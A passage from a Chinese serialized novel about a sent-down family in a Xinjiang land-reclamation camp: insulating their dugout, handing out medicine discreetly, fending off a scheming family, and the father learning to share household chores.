“白天在沙子上暴晒稻草,芦苇,杀虫。烧灶的时候多烧点鹅卵石晚上打饭的时候发下去放被窝里。用热沙子除湿,草木灰和黄泥水涂抹土窝子里头,可以增加保暖性,”王光明越听越兴奋,“我现在才知道读书是真特么的有用啊!” 林晚霜见他已经记得差不多了,又补充道:“咱们除了种粮外,像薄荷,苦蒿这样的植物看到了也带回来种好。以后发给大家挂门口,就可以驱虫和净化空气。” 王光明连连点头:“好好好,我记下了。等小褚回来,我让他把这些写出来上报到连部,为你请功。” “小褚?储一恒吗?”林晚霜忍不住好奇,现在七点多了,三点从连部出发,到现在还没到? 王光明立刻点头:“林作家也认识小褚?哎呀,我让他和张子枫去接你们,不认识才怪!不过他们怎么这么慢?这都快四个小时了,爬也该爬回来了!” 正在这时,外面响起了敲铜锣的声音“下工了,开饭了!” 41. 第 41 章 听到开饭的铜锣响,王光明立刻大手一挥:“走吧,我和灶上说了,今晚你们一家人吃饭划我的工分。” 今天到了102排登记的时候,他们就被告知了一些营地的规矩。知道在这里吃饭是要划工分的,每人每顿3工分,新来的没有工分就会先欠上,等有了工分再补上。 现在听王光明请客,陆沉舟和林晚霜赶紧道谢,从包里翻出四个人的饭盒,然后和王光明一起走出地窝子。 陆父此时正站在地窝子外抬头望天,陆星野在他旁边说着什么。 他眼角余光一瞥见林晚霜,立刻便转过头,然后只是一眼,他又立刻别过头去。 林晚霜正疑惑他想要做什么时,只见他突然弯着腰咳了起来。咳声很假,很浮夸,耳朵染了一片红。 在场的其余三人反应各不相同,陆沉舟和陆星野仿佛是被陆父拙劣的演技震住,一时间都石化了。王光明心眼子直,当即要过去给陆父拍背。 陆父慌忙闪躲,一双眼睛却不时的看向林晚霜。 突然,她福临心至,明白这是陆父在因为刚刚她说的圣人之言感到羞愧,想要向她道歉却拉不下脸。这让她不禁有些想笑。 不过她也知道当着外人,陆父能做到这一步已非常不容易。于是她弄衣兜里摸出一个小油纸包,打开拿出一颗甘草片递了过去:“爸,您含着好受点。” 陆父看到她递过来的药差点忘了咳,反应过来赶紧又咳了一声,然后把手伸过去拿过药塞到嘴里。 这一下他翘起的嘴角便再也藏不住了。陆家两兄弟看到自然也是懂了陆父别扭的原因。 只有王光明疑惑的摸了摸头,发出一声感慨:“这可真是药到病除,我还没见过起效这么快的。” 听了这话,林晚霜忍不住看了陆沉舟一眼,却发现他也正在看自己。 灶房在营地西边的一排黄泥屋子最中间,这排屋子也是102排士兵们居住的地方。 倒不是要搞什么特殊化,而是这里靠近禁区。他们住在这里的同时,也负责戒备不准任何人越过这里。 林晚霜一开始还有些奇怪,既然是禁区为什么只有一个排的兵力驻守。后来她调出实时地图看了一下才发现。离这排房子不到1000米的位置,居然还有几个排的兵力隐藏着。而王光明好像并不知情? 此时灶房外低矮的屋檐下,两个大师傅正从合力将一口大铁锅放到地上。随着他们都动作,一股子白烟从锅盖缝里钻出来。 锅前整齐的排了四列。最左侧那里只有二十几个人,都穿着军装。其余三列都穿着各色棉衣,男女都有,却极少看到老人和孩童。 这时候众人手里都拿着饭盒,互相聊着今天工作中发生的事,疲惫的脸上中透着一股子生动。 开饭前,站在队列最后方的副排长带头唱起了军歌,队员们受到感染,都安静了下来,用夹杂着各色口音跟着唱起来。 102排开荒生产队目前近200人,由40个战士和150多个由当地老百姓,全国援疆知青和下放人员组成。 在排长王光明的带领下,扎根在这片土地七年,已成功将50多亩盐碱地转化成普通田地,将营地从最初的100平扩大现在的规模。 当然,他们付出的代价也不小。这七年来,尽管王光明身先士卒永远冲在第一线,却仍有近10个人因为伤病或死亡不得不离开这里。 在边疆无数个开荒生产队中,这种事并不罕见。戈壁滩如同沉睡的巨兽,吞噬着太多人的青春和生命。 王光明大踏步地走过这四列队伍,目光从每一个人身上扫过。另他有些揪心的是,今天去连部接人的通讯员储一恒和队伍里的学生兵张子枫竟还没回来。 掩下心头的不安,他走到队伍最前方,准备等军歌结束,宣布大事。 而此刻在嘹亮的军歌中,营地入口处,王光明正担心的两个人一屁股坐到地上,喘着粗气擦拭着脸上的汗水,用手指着板车上的那家人,让一旁执勤的战友快来交接。 实在是太累了,这一家人都特么神经病。走了没多久看到林晚霜开着吉普车经过,就开始吵起来。最后更是不顾他们的阻拦直接打起来。边打还边爆猛料。 打着打着,他们脚上的皮鞋竟开始脱胶。于是又扯出一段谁贪污,谁买假货害全家都官司。 日头这么大,光脚走路肯定是不行。最后他们两个只能让他们都坐上板车,一路推着回来。 然而就这也不太平,这一路几个人在车上说几句又打,说几句又吵。把一个多小时的路拉长到五个多小时。 他们两个被迫吃瓜都快吃吐了。要不是为了赶上晚饭点,他们早就想原地躺下了。 “你们两个咋去连部了一天?”一个国字脸的小战士看上去和储一恒非常熟稔,走过来蹲下身看着他一脸关切,“排长过来问了好几次。” “别提了!”储一恒喘着粗气,压根不想说话,“给我来口水。” 小战士摘下身上挎着的军用水壶,拧开递给他:“你这是去拉练了?不是说让他们自己走吗?” 储一恒仰脖灌下几大口水,把水壶递给身边的张子枫,抹着嘴示意国字脸小战士看那板车上。 这一看,小战士立刻吃了一惊:“嚯!这是啥情况?鞋底子都掉了?” 储一恒还没来得及说话,板车上早已又冷又饿的曹小莲看着火把光芒中三个自顾自说话的男人,怒从心头起:“喂!你们这些臭丘八!还不快把我们推到饭堂去吃饭?” 张子枫和储一恒半点儿反应都没有,他们这一路听惯了,此刻连眼皮都懒得掀一下。国字脸的小战士却立刻抓紧了自己挎着的长枪。 “你带他们去登记吧,”张子枫拍拍他的肩膀,语气怜悯,“无论听到什么,别冲动,忍着点。我们太累了,得去找口吃的。” 小战士点了点头,仍旧怒视着板车上的几人;“你们,马上下车带好行李跟我去登记!” 饭堂这边,王光明正发表完重要讲话,总的来说,就两个事。 一是说了从明天开始饭菜里加肉干,但是按照林晚霜的要求这肉干的来源他给归结到连部了。 二是说了地窝子改进计划,就是林晚霜说的那些,然后他一高兴,就把林晚霜给卖了。还给她扣了个“杰出青年女作家”的名头。 他这讲话一完,下面立刻喧闹了起来—— “哎哟,可算又能见到肉星子了。这下好了,30斤呢,省着点接下来一个冬天咱们都能尝到肉味儿。” “杰出女作家是谁呢?谁给我指指?” “唉,明儿个你报名去砾石滩扛石头吗?我没想好去不去,毕竟又不给工分。” “自家的床,不扣工分让你去弄,这是多大的好事?你还想要队上倒贴你工分?我看你是长得丑想的美。” “杰出女作家在那儿呢!快看,长的可真不赖,一看就是个文化人!” 林晚霜在众人或好奇或崇拜的目光中尴尬到快要自闭。天知道她啥都还没写出来,怎么就成了杰出女作家了? 还有,王排长不是答应了不让她太过醒目吗?肉干的事他是守住嘴了,但咋床的事就立刻把她卖了?她这低调,感情就低调几分钟啊? 陆沉舟发现她的不自在,侧身将她挡了挡,低头问她;“怎么了?” 林晚霜贴着他耳朵轻声说;“我一个字都没写,就变成杰出女作家了,要是人家问我发过什么文章,在哪里发的,我咋办?” 到时候发现她是个假的,那得多丢人啊。这王排长说话前怎么不和她先通个气? “那就现在开始写,把杰出女作家变成真的。”他看着她的眼睛,“就写改建地窝子的事,写这些人在戈壁滩上的事。我相信你一定可以。” 他的话如同定海神针立刻平复了她的不安,她努力挺直腰,从他的羽翼下探出了头,看着仍旧在好奇她,议论她的人。她突然有了灵感。 “就写一个女知青从大城市满怀理想的憧憬来到边疆,发现现实和理想差距太大。她决定将现实变成理想中的样子。”她看向他,“你觉得怎么样?” “我觉得很好,等你写完我想做你的第一个读者。”他毫不犹豫地肯定了她。 这时候人群又是一阵骚动,视线却都转移到了队尾—— “天呐,怎么有人穿成这样子出门?” “城里头现在流行这样穿鞋吗?” “你们快看,那姑娘的头发好吓人,一绺绺的遮着脸,好像女鬼。” “嘘!封建迷信的话可不能乱说!” 林晚霜忍不住也跟着人群看过去,只见杜枝花和曹家众人互相搀扶着,一瘸一拐地走过来。杜枝花光着脚,曹小莲脚上套着两个鞋面没有鞋底。曹大军一个鞋子只有鞋面,一个鞋子的鞋底张着半张嘴。曹小军的尖头皮鞋一只有个完整鞋面,一只还剩个尖头。 林晚霜敏锐地发现曹大军怀中的孩子不对劲,安静地有些反常。她立刻拉住陆沉舟对着他耳语几句,陆沉舟点头,起身带上陆星野悄悄出了人群,往自家地窝子去了。 曹家一行人走进,林晚霜这才发现他们的神态都很不对。特别是曹大军,他整个人透露出一股子死气,最让她诧异的是,他脖子里光溜溜的,而怀中的孩子身上却多了一条围巾。 曹大军也看到了他们,他原本灰暗的眼睛瞬间亮起,他快走几步“噗通”一声跪倒在陆父面前。 “陆大伯,求求您救救我儿子!”曹大军凄厉地叫声让议论声瞬间止住。 陆父上前一步,伸手想去看看曹根宝,曹大军立刻把轻盖在孩子脸上的围巾揭开,露出一张红的滴血的脸。 靠的近的人惊呼出声;“高热了!这孩子高热了!” 高热就是发高烧,小儿高烧很容易引起惊厥。一旦不及时治疗,即使能活下来也会留下癫痫的后遗症。 “陆大伯,求求您了,我知道您家一定有药……” 林晚霜听到“药”字立刻上前一步;“曹同志,我很理解您的心情,但我们家唯一的药是给我公爹治疗咳疾的,并不能帮孩子退烧。” 陆父急的不行,他觉得林晚霜心太狠了,他们明明是有退烧药的。她怎么就能睁眼说瞎话? “但王排长那里应该有,”林晚霜立刻又说,“我今天是坐赵连长的车来的,听到赵连长说,因为领导发现咱们生产队在王排长的带领下,人人促生产的热情高昂,值得表扬,所以不仅给咱们生产队送了肉干,还送了两种药。一种退烧,一种治外伤感染的。” 这话一出,围观的人群不可避免的议论起来—— “哎呀,连上级领导都知道我们了!” “组织不仅给我们送肉了,还送了药,我的天啊,组织太好了!” “王排长刚刚咋不说药的事?算了算了,有药就好,有药以后咱们就多条命了!” “不行了,明儿个我也得报名去砾石滩,领导把咱们当人,咱们要更争气让领导看看咱们都不是孬的!” 一时之间,因为药的事,整个人群都沸腾了。 曹大军听到这些议论,忍不住抱紧了怀中的孩子,身子激动的颤抖,他朝着前方磕了几个头:“求大家告诉我,王排长在哪里,求求大家!” 当下立刻就有人上去扶他起来,热心地拉着他去找王排长。 “大军!”眼看大儿子临阵倒戈没有再缠上陆父,杜枝花着急立刻出声喊他。 曹大军闻言回头,眼睛发红,状似疯癫:“别喊我!我不会听你的了!你污蔑我媳妇儿,让我打她,害得我们离婚,你说根宝是野种,看我虐待我自己的儿子。现在我儿子快死了,你又要我去赖上陆家……杜枝花,你不是我妈,你就是个疯子!” 陆父没想到这里头还有自己的事,他吓得后退一步,看向杜枝花眼神复杂:“老妹妹,你怎么能是这样的人?” 杜枝花心下一慌,这陆老头可是难得一见的傻子,家底看着也丰厚,当下她抛下大儿子,立刻走过来对着陆父擦眼泪:“老哥哥,我苦啊。这些没爹教养的孩子,满嘴谎话。我真羡慕你儿子有你这样的爹,你看你教的多好啊。” 陆父本能地接受了这样的恭维,努力忽略心头那丝不安:“你这儿子的确该教训,当众胡说八道。” 林晚霜眼见着这老太婆又开始卖弄茶艺,倒也不慌。陆父这个人就爱听好话,阻拦没用只能多注意点,时常给他紧紧皮。 现在嘛,她决定先吃瓜。 杜枝花放弃继续和曹大军纠,曹家其他人可没有。 曹小莲喊着“大哥”就往上扑。 “你也滚!”曹大军别过身体,让她扑了个空,他神情激愤每一个字都仿佛是从牙缝挤出来的,“你做的那些事……别招惹我,否则我全抖落出来,看你能不能在这混的下去!” 林晚霜实在没想到看着蔫蔫的曹大军现在竟如此霸气,她看的正兴奋,突然一个男人出现在她面前,偏着头拨弄着自己的短发。 “林同志,终于见到你了,”曹小军一边拨弄头发,一边侧着脸对她露出个笑,“我好担心你。” 林晚霜不耐烦看他这样子,她侧了侧身,发现自己看戏的视线已被他完全挡住,忍不住冷声道:“麻烦这位同志让让,你挡着我了。” “可你早已挡在了我的心里,”曹晓军目含秋水,深情款款。 “天呐,这人疯了吧!居然当众对林作家耍流氓啊。”林晚霜身边一个大婶惊叫起来。 立刻便有一部分人将视线投了过来,今天是什么日子,怎么这么多瓜?吃不完,根本吃不完! 正在和杜枝花讨论孩子教育问题的陆父听到“对林作家耍流氓”立刻撇下聊了一半的话题,上前一步挡在林晚霜面前。 陆父也没经历过这样的事,突然和人对峙,他心里发毛,手心大汗,眼光闪避,嘴上中气不足:“曹家小子,你发癫去别处,别吓着我儿媳妇和她肚里的孩子!” 林晚霜看着挡在自己身前,声音颤抖的陆父,内心在这一刻没有感到震动是不可能的。 虽然她知道陆父对她的回护更多的是因为她肚里的“孩子”,然而这是她两世以来第一次在名为“父亲”的男人那得到的关爱。 她感觉自己眼眶发热,一丝暖流从心头涌出:“爸。” 陆父回头看了她一眼,艰难地挤出个笑容:“沉舟媳妇儿,别怕,爸护着你。没人敢泼你脏水!” “陆大伯,我只是想和嫂子多亲近亲近。”曹小军腆着脸笑,他一点都不怕这个愚蠢又好骗的老头子,甚至他都能想到,自己这句话说完后,老头子搞不好还会主动撮合。 “滚!”陆父转过头,指着曹小军,语无伦次地说,“你到底是安的什么心?我儿媳妇正经的女人,你污蔑她!你个臭流氓!你该被抓去批斗!去游街!去吃花生米!” 他越骂声音越大,到最后竟是连身体也颤抖起来:“我们清清白白的人家,就站在这里打个饭,你都上来泼脏水!你心眼咋这么坏?” 周围人被他语气中的悲怆打动,也忍不住纷纷指责起来。 这年头女人一旦被沾上这种脏水,可真就是洗不干净了。陆父说的没错。这就是曹小军的打算。 怎么在大庭广众之下给一个女人泼脏水让人以为他们有一腿,从而逼得女方不得不妥协一步步就范可是他的拿手好戏。拿林晚霜开刀他也是算准了人家男人不在跟前,公爹又是个软柿子。 可他怎么都没想到,这个软柿子居然会咬人了。 此时他骑虎难下,再闹下去,可就要脱离玩笑的范畴,真的升级到作风问题了。 正这时,陆星野如同一只愤怒地小豹子从远处冲过来,将他一头顶倒在地:“快来人打流氓!” “误会误会啊!”曹小军顾不得疼痛,倒在地上举着手求饶,“我只是和陆大嫂说句话,真没想干坏事啊!” 陆星野抬起头,疑惑的看着陆父:“爸?他说的是真的?” 陆父看到他立刻松了口气:“你哥呢?有人欺负他媳妇,他去哪儿了?” 陆沉舟此时和王光明一起过来,曹大军在旁人的提示下,抱着孩子跌跌撞撞冲过去跪在了王光明面前开始磕头。 王光明被陆星野拉到旁边去见了陆沉舟,现在兜里正揣着两包药片。虽然他没想明白为啥赵铁柱突然会给他带那么多药,而且还是通过这种方式。不过这事太费脑子,他想了下想不明白就丢开了。 现在看到跪在他面前的曹大军,他顿时觉得赵铁柱这药送的真及时,下次见面得好好谢谢他。 看着王光明给曹大军拿药,又带着他去自己住处。陆沉舟这才安心往林晚霜那边走。 他走的很快,过去的时候正看见自己弟弟跟只愤怒的小兽一样呲着牙看着曹小军,那个臭的要死的曹小莲正不要脸的和他媳妇儿说话,杜老太婆正挽着他爸的手似乎在说什么,然而没说几个字,就被他爸跟躲瘟疫一样躲的远远的。 见着他来,他爸,他媳妇,他弟弟,齐刷刷看向他。他后退一步,总觉得像是看到了三头眼冒绿光的饿狼。 “沉舟啊!”陆父嗓音中尽是悲痛,“你媳妇儿被人泼脏水了啊!” 陆沉舟加快了脚步来到林晚霜身边,看都不看旁边那个眼睛抽风了的曹小莲,他仔细打量了她几遍发现没有受伤,这才松了口气:“媳妇儿,怎么了?” 这一声“媳妇儿”听的林晚霜心跳快了几分,她强压着异样感,快速将事实说了一遍,重点强调“只见过一次”“一句话都没说过”“突然过来吓到了我”。 旁边一直吃瓜的群众,此刻总算是把这口瓜吃了个明明白白。立刻七嘴八舌帮她补充完整。 顷刻间曹小军就成了一个有臆想症,看到别人家媳妇就发病的小流氓。别说,配着他此刻的造型还挺形象。 也有人发现了一直想往陆沉舟身上凑的曹小莲:“这家子不会都有臆想症吧?男的喜欢看人家媳妇儿,女的喜欢看人家男人。” “哎哟哎哟,那咱们可得把家里的人看紧点。这家子不会就是乱搞男女问题才下放的吧?” “你们是不是忘了,这家老太婆还往人老头身上挂?” 一时间曹家人都变成了全队皆知的问题人家了。 “咱爸是怎么回事啊?”陆 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陆父喘着粗气回到队列里,看到三人戏谑的目光有些闪躲的低下头。 陆星野先开口问他:“爸,你要给我妈守真?什么是守真?难道还有守假吗?” 陆父臊得一张脸通红,支支吾吾地说:“就是,一辈子不找别人了。就你妈一个,你妈这辈子没做对不起我的事,我寻思着我也不能做对不起她的事。” 林晚霜仔细打量着陆父,这个老人有一套完整且自恰的逻辑,她无法评判好与坏。 “对了,”陆父看了眼林晚霜,低声抱怨道,“沉舟媳妇儿你咋那么狠?如果不是王排长那里也有药,你是想看着一个孩子病死吗?” 陆星野立刻踮起脚凑到陆父耳边说了几句话。 陆父脸色变了,他迟疑着开口:“既然要是咱们家的,为啥要绕那么大一圈?这做好事的名头就让给别人了?” 然而他没有得到任何人的回答,怔楞间,面前排队的人已经打了饭走开,露出对面正拿着大饭勺的男人,男人黑着脸敲了敲锅:“老爷子,别磨蹭!把饭盒递过来!” 一刻钟后。 “杜同志怎么是这样的人呢?”端着饭盒回去的路上,陆父翻来覆去就是这句话。 刚刚打完饭,杜枝花又过来拦他,先是给他道歉,然后可怜兮兮地说自己饿到现在一口吃的都没有。打饭师傅说没有工分不给打饭。 陆父心一软当即把自己饭盒递给她,结果杜枝花立刻表示一饭之恩无以回报,她愿意以身相许。 陆父吓得抽了饭盒赶紧跑,然后就念叨了这一路。 林晚霜在陆父的唠叨声中,忍笑和陆沉舟对视了一眼。他们都明白,杜枝花大概是不信世界上没有男人不偷腥。所以眼见自己儿女靠不住,又铤而走险来勾搭陆父了。 可是她不知道,陆父不怕别人图他钱,图他食物,他怕人图他身子。 毕竟他只想当个好人,不想做肉身菩萨。 陆父说着说着突然停了下来,他抬头看着天空。 天已经全黑了,戈壁滩上升起了月亮。 陆父突然轻叹了一口气:“沉舟他妈死的时候,我把家里那枚玉珏给她放身上了。” 玉珏?林晚霜跟着抬头看向天空,上弦月高挂着,果然同玉珏很相似。她依稀记得,参观博物馆时看到介绍,玉珏是信物,相赠离人以待重逢时相认。 “这辈子我还能回得去吗?”陆父热泪落下,转头看向身边的儿子,“沉舟,你之前不是说过国家除了那个什么火葬的倡议吗?如果我死了,你就把我烧了,别埋。等哪天有机会了,把我送回去,和你妈埋一处儿。埋她的时候,我就给自己留好地方了。” “爸,你之前不是骂我哥说火葬就是挫骨扬灰吗?”陆星野惊讶地问出声。 “挫骨扬灰我也得回去,”陆父低下头杵了下棍子,“你们妈一辈子没主见,胆子跟兔子似的,我不回去,她万一被人欺负了咋整?” 这一刻气氛变得很凝重,没有人说话,还是陆父最先回过了神:“快走吧,饭都要凉了。” 回到地窝子,林晚霜翻出一根蜡烛点燃,四个人围着这一点烛火吃起饭来。 “明天得找点红柳枝,这门要重新扎了。”感受到寒风从门缝中吹进来,林晚霜开始盘算起来。 今晚伙食很一般,菜是煮野菜,饭是玉米碴子粥。野菜洗的不太干净,吃的时候很容易被沙石硌到牙。陆父强忍着吃了几口,默默放下饭盒。去拿了肉干啃。 陆沉舟没说别的,只是把他的饭盒拿过来吃完了。 林晚霜也吃不下去,干脆直接放弃咀嚼了努力往下强咽。陆星野倒是习惯了,这两个月家里发生巨变,他从只会烧火玩到能独立掌厨只用了极短的时间。短到他来不及好好哭一场就被迫长大。而他的厨艺,还不如面前这个。 三人默默吃完饭,拿沙子清理了饭盒,然后进去里间继续搭床。 地窝子里没有光线,就这一点烛火,陆父没办法只能拿着肉干进来继续吃。 他一边吃一边看着林晚霜将碎沙砾铺的很高很厚。陆沉舟和陆星野就来来回回地去外面运沙子进来。 “沉舟媳妇儿,咱们睡这上头多硌啊。”陆父忍不住提了一句,“要不还是睡地上算了。” 林晚霜没听清楚他说啥,极快的把沙砾铺好,陆星野将一兜子细软的黄沙倒上去。开始抹平。 陆父干脆也放下肉干过来帮忙,只是他的手指光滑细嫩,连个茧子都没有,这一帮忙当即就被一颗尖锐的石头划破气,渗出血来。 他立刻坐到一边,抱着手痛呼。 “爸,你明天上工去哪个队?”林晚霜一边往黄沙上搭树枝树皮,一边问。 “抬石头的那队,队长好像叫什么刘二狗。他说的话我一句都听不懂。”陆父吸着冷声回道,“这抬石头到底是个什么流程?就咱家这种?” 陆家人明天都不去沙砾滩,他们家没位置再做床了。地窝子空间有限,现在这三张并排放着,床和床直接就隔着半臂的距离。 他们明天四个人都要去上工赚工分,今天排队吃饭的时候,王排长就给他们安排了队伍。 “没这么大。”林晚霜的队伍主要负责捡石头,正好是陆父他们前一个流程。他们这两组属于妇女老人病号的聚集地。干的活都不太累人。 只是,林晚霜现在非常担心陆父,这种不累人的活,对他来说只怕也很要命吧。 陆父一听不是大石头立刻就放心了:“那就行,石头不大的话,我一个人搬一块完全没问题。” “爸,石头不大,但是是装框里,框比咱们家的箩筐大一半。”林晚霜决定让他提前有个心理准备。 “比家里的框大一半!”陆父脸色瞬间煞白,“就是那个有星野一半高的大箩筐?” 得到林晚霜肯定的答案,陆父一瞬间眼里的光都消失了。那么大的筐啊,他以前看家里的长工搬过满满一整筐谷子。他那时候才二十多岁,觉得人家搬的轻松肆意便趁着没人时去试了试。 然后他趴床上躺了三天,佃户里开始流传陆小少爷房事过度闪了腰的故事。 现在他年过半百,老态龙钟又重病初愈,让他去搬那么大的石头筐…… 陆星野看陆父这样,忍不住小声蛐蛐:“林晚霜也太坏了,她怎么不跟我爸说清楚,是两个人一起抬筐?” 陆沉舟看了他一眼,目光如刀,陆星野低头:“好的,是嫂子,我记住了。” 陆沉舟满意了,这才说话:“你觉得和爸一起抬筐,和自己一个人抬有什么区别吗?” 陆星野想了想,迟疑着回答:“和爸一起,大概还不如自己抬。” “所以爸干嘛不让嫂子给他换个工作,他这样不仅自己受累,还影响别人。”陆星野正在给陆沉舟打下手,把裁剪好的油布按照林晚霜说的办法,固定在地窝子内部。 陆父现在也在想这件事,可是当初换工作是他自己拒绝的,算了,明天到了上工的地方再看吧。万一没自己想的那么难呢? 他很快给自己做好了心理建设。又溜达进去看林晚霜给床上铺油布。 林晚霜正把油布尽量固定在床上,刘三叔送的油布看着很大,现在用起来才发现远远不够。为了省油布,她连多裁一点边都不敢。所以铺起来显得特别麻烦。 陆父也没有搭把手的意识,他就站在那里催着她:“你什么时候才能弄完?我想睡觉了。还有我的床是哪张?” 林晚霜理解他当惯了大少爷,理解他觉得别人干活自己闲着是很正常的事。但她不想惯他。 “爸,你自己选床,选好自己铺。” 林晚霜声音仍旧温婉,但听在陆父耳中却不亚于惊雷。 他抬起头四处看,想找个援手。 “爸,我们现在是来下放了,”陆沉舟此时刚刚将一张油布固定到地窝子顶部,听到她的话,他觉得还不够全,“从明天开始,从爸先开始,每个人轮流烧水,扫地,洗衣服。” 42. 第 42 章 听完陆沉舟的话,陆父气的重重杵了下棍子:“逆子!你们这是忤逆不孝,虐待老人!” 铺床?烧水?扫地?洗衣服? 这些是他能做的事吗? 建国之前,家里有帮佣做这些,后来没有帮佣和佃户了。他还有媳妇儿。 媳妇儿没了,他重病卧床,做这些的是他两个儿子。 是的,现在是下放了。为了他陆家的清誉,为了不影响儿孙的未来,他接受劳动改造。 可现在他的儿子却如此不孝,竟要求他做这些他根本不会做,也不想做的事。这是他们要虐待他这个做父亲的啊。 一时之间,陆父老泪纵横,心头生出千万般委屈:“莲花啊,我还不如跟你一起去了!” 陆星野听到陆父这句话,看向陆沉舟,语带犹豫:“哥,要不算了吧。毕竟是咱爸。他那份我来做行吗?” 陆沉舟没说话,只是拉着他走到陆父跟前,拉起他的两只手摊开对着陆父的眼睛:“爸,星野还不到6岁,你看看他的手。” 陆父眼泪模糊了视线,听到陆沉舟的话也只是漫不经心地看了一眼。然后就那一眼,他已然怔住。 再回过神时,陆父用袖子擦了擦眼睛,拉过了陆星野的手。那双手很小,只有他的一半大,摸着很是粗粝。手掌和大拇指,食指处都有伤痕,指甲缝里都是黑泥。 而他的手,白皙清瘦,骨节漂亮,没有一丝累赘。手部皮肤光滑,细腻,指甲已经一个多月没修剪了,此刻如同细笋根根分明。 他下意识缩了缩自己的手:“星野,你这手是怎么搞的?我不是一直跟你说,文人的手,需要爱惜,每天睡前都必须用温水浸泡保养吗?你这手出去让人看了哪里像是我陆家的……” 他突然说不下去了,也正是此刻,他才恍然意识到,自从妻子死后,他吃的饭,喝的水,穿的衣,不是凭空就能出现在他面前的。 “爸不知道,”他有些慌乱,一时间竟不敢面对自己的小儿子,“爸真不知道你会这么难。爸要是知道……” 他又说不下去了。他知道了又能怎样?他来做吗?他又不会做家务,没学过,也没有意识自己该学这些。 “爸,从明天我们每个人都要去上工,”陆沉舟慢慢地说,“没有人可以再单独照顾你,爸,如果你还是什么都不做。我和星野会很累很累。” “你也会累吗?”陆父下意识问了一句。 在他眼中,他大儿子从小就板着张脸说话老气横秋,无论学什么做什么都轻松。 哪怕是违背他意愿去当兵,那个薪水长的也很快,有时候一年还能长几次。 他不知道大儿子具体做的是什么,但是他看他每次回家探亲都能给家里劈上足够用大半年的柴火,带很多T市买不到的东西。 他觉得大儿子应该过的很轻松才对,却从来没想过他也会累吗? 面对陆父的疑惑,陆沉舟突然又不想说话了。 实际上他不是没说过自己累,他记得刚刚跟刘三叔习武的时候,绑着沙袋扎马步,他都累哭了。 他跑回父母家,跟他们说自己不想习武了。自己想回来住。他们当时正低着头吃饭。 他说的声泪俱下的时候,他爸突然跟他妈说:“行吧,你弟弟娶媳妇这事儿,咱们帮了。” 他这才发现,他爸他妈都没听他说话。 那一瞬间,他不想再说自己有多累,有多委屈了。 默默转身,在他妈招呼他吃个饭再走,在他爸说他从小就不亲人的话语里,自己回了爷爷奶奶家。 后来长大了,他多次和他们说,你们不要到处许诺别人我可以帮忙安排工作,你们不要再把小慧推给我了。我真的很累。 可是他们都好像小时候那样,听不见,更听不懂。 现在面对陆父第一次主动问他“你也会累吗?”他已经没了诉说的欲望,只是沉默地看着陆父。 “爸,你说什么笑话呢?这个家一直是哥在撑着,他怎么会不累呢?”陆星野皱着眉头说,在他看来这是最浅显不过的事实,陆父不应该有此疑问才对。 陆父看着陆沉舟,他这一生,幼年少年都不缺父母兄弟的帮衬。家里不缺钱,他名声好,周边人都乐意奉承他,恭维他。 生活上有有妻子打理一切,他又不需要理财又不需要赚钱。哪怕是后来把身家全捐了,他儿子也能挣。 他努力回忆自己当家时候的情景,那是完全无法和“累”沾边的。 所以他无法理解,无法想象。但是他又明白他那时候同现在的不同。 所以,也许儿子是真的累吧。 “累就好好歇歇,睡一觉起来就好了。”最后,他以他在这上面几乎为零的经验干巴巴地安慰了一句。 林晚霜终于看不下去了,按理说有的话不该她这个外人来说。但如果不说,她觉得对不起前世那个同样负重前行却没被家人体谅过的自己。 “爸,您开玩笑吗?”她放下手中的油布,看向陆父。 “睡起来他明天就不用干活,不用操心这个家吃什么,喝什么了?如果您真的心疼儿子,就该知道,他说每个人轮流烧水,扫地,洗衣服绝不是想虐待您。” “而是真的希望您也能参与到这个家来,做一个真正的父亲,而不是高高在上的陆老爷。” 陆父身体瑟缩了下,仿佛受到了极大地冲击,他下意识向四周张望了下,这才压低声音道:“别说什么“老爷”!被人听到了会抓去批斗,游街的!” 她无所谓,反正想说的话已经说完了,便继续去铺床。 陆父在原地呆了会儿,发现大家都在忙自己的。 最终,他叹了口气,进去选了张靠左的床,抖开油纸笨拙地学着林晚霜的样子铺起来。 一个床铺的他满头大汗,左手指甲还劈了两个。一个齐根断,一个断了后又劈开一次,伤到了甲床,直接出血了。 他口中忍不住轻嘶,却是先忍着痛把床铺好了。 然后拿了把剪刀去找陆沉舟:“沉舟,你帮爸剪一下行吗?” 陆沉舟低头看他的手。十个指甲现在只剩下不到一半完好。他放下手中的活,拿起剪刀让陆父坐下:“爸,是全剪了吗?” 陆父顿时受宠若惊的坐在刚刚铺好的床上,伸出手给他:“都剪了都剪了,不然明天干活不方便……对了,沉舟,明天能不能教教我怎么生火,怎么扫地,怎么洗衣服。” “洗衣服不急,这里缺水,”陆沉舟捉起他的手,小心翼翼地给他修剪指甲,“火也没熄,明天您把浮灰吹掉再加点柴就可以。扫地我先去找点东西,扎个扫帚再扫。” 陆父一听原本三件事,被他这三言两语说的只剩一件,而且这一件听起来也很简单。当即觉得轻松多了,脸上也有了笑模样。 儿子给他剪指甲,他就看着儿子的脸感慨:“时间过的可真快啊,奶娘抱着你出来给我看,好像还是昨天的事,可一眨眼你都娶上媳妇要当爹了。” 陆沉舟手上的动作一滞,他稳了稳心神才继续剪下去。 “沉舟啊,你从小就很优秀,一本三字经只听一遍,再拿出来随便拎一句你都能接下去。” 陆父语气中尽是苦涩:“我那时候不喜欢看你读书。因为你爸我,我开蒙了两年都背不全那本《三字经》。” “后来你又去学武了,”他接着又叹息道,“我也不喜欢。我觉得你瞎整腾,不像我,倒像是我大哥的儿子。” 在陆父的絮叨中,陆星野坐了过来一起听着。 林晚霜将剩余的两张床铺好,又去将闷在灶下的石头捡了几块出来,用布包了放在被子里。然后坐着一起听。 陆父的故事,大概就是一个平庸之辈,出生在一个人才辈出的家里,父母和兄弟都很优秀,优秀到让他格格不入。 他拼命想找到自信,于是就变成了十里八乡人尽皆知的大善人。 成年后,他不顾家人反对坚决娶了柔弱无依的陆母,却发现生出来的儿子又和父亲兄弟一样,让他感觉自卑。 如今他说起这些也不是为了道歉,而是为了告诉儿子:“沉舟啊,我自小因为不够优秀,不得你爷爷奶奶喜爱。所以我也不知道怎么和儿子相处。我只能说,我已经尽力做好我能做的一切了。你理解吗?” 林晚霜突然想到自己曾经在参加心理疗愈课时,老师说父母和子女最大的分歧在于,他们永远在等我们说“谢谢”,我们永远在等他们说“对不起”。 她不知道陆父这句话是不是陆沉舟在等的对不起,但这一瞬间她是羡慕他的。因为终其一生,她也没等来这样的谈话。 “知道了爸,”陆沉舟的声音在地窝子里响起,“蜡烛快燃尽了,我们睡吧。” 